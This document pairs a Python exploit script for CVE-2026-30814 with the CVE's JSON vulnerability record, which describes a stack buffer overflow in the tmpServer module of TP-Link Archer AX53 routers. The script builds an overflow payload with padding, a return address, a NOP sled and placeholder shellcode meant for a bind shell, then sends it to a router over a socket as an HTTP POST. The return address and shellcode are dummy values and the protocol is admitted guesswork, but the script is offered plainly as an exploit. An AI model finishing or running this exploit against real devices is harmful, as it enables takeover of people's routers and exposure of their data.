CVE-2026-30814

import socket import struct # Target configuration TARGET_IP = "192.168.0.1" TARGET_PORT = 8080 def create_exploit_payload(): # Buffer offset calculated based on vulnerability analysis offset = 1024 # Overwrite return address (Example address, needs adjustment) # This address usually points to a JMP ESP or similar gadget in libc ret_addr = struct.pack("<I", 0xdeadbeef) # NOP sled for landing stability nop_sled = b"\x90" * 32 # Shellcode placeholder (e.g., bind shell) # Real shellcode bytes would go here shellcode = b"\xcc" * 64 # Construct payload: Padding + Ret Address + NOPs + Shellcode payload = b"A" * offset + ret_addr + nop_sled + shellcode return payload def send_exploit(): payload = create_exploit_payload() try: # Connect to the vulnerable tmpServer service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Simulate sending a malicious configuration file # The protocol specifics depend on reverse engineering the service header = b"POST /config_upload HTTP/1.1\r\n" header += b"Host: " + TARGET_IP.encode() + b"\r\n" header += b"Content-Length: " + str(len(payload)).encode() + b"\r\n\r\n" s.send(header + payload) print("[+] Exploit payload sent successfully.") s.close() except Exception as e: print(f"[-] Error sending exploit: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-30814", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2026-04-08T19:25:20.140", "lastModified": "2026-05-07T16:16:18.240", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow in the tmpServer module of TP-Link Archer AX53 v1.0 allows an authenticated adjacent attacker to trigger a segmentation fault and potentially execute arbitrary code via a specially crafted configuration file. Successful exploitation may cause a crash and could allow arbitrary code execution, enabling modification of device state, exposure of sensitive data, or further compromise of device integrity.\n\nThis issue affects AX53 v1.0: before 1.7.1 Build 20260213."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:archer_ax53_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.1", "matchCriteriaId": "B096B7BB-7693-4C45-B5F7-8FD6E4969DCE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:archer_ax53:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5F3EA1D9-EB47-4785-9CF0-F2B51945917D"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Third Party Advisory"]}, {"url": "https://www.tp-link.com/en/support/download/archer-ax53/v1/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/my/support/download/archer-ax53/v1/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/us/support/faq/5055/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Vendor Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2302", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}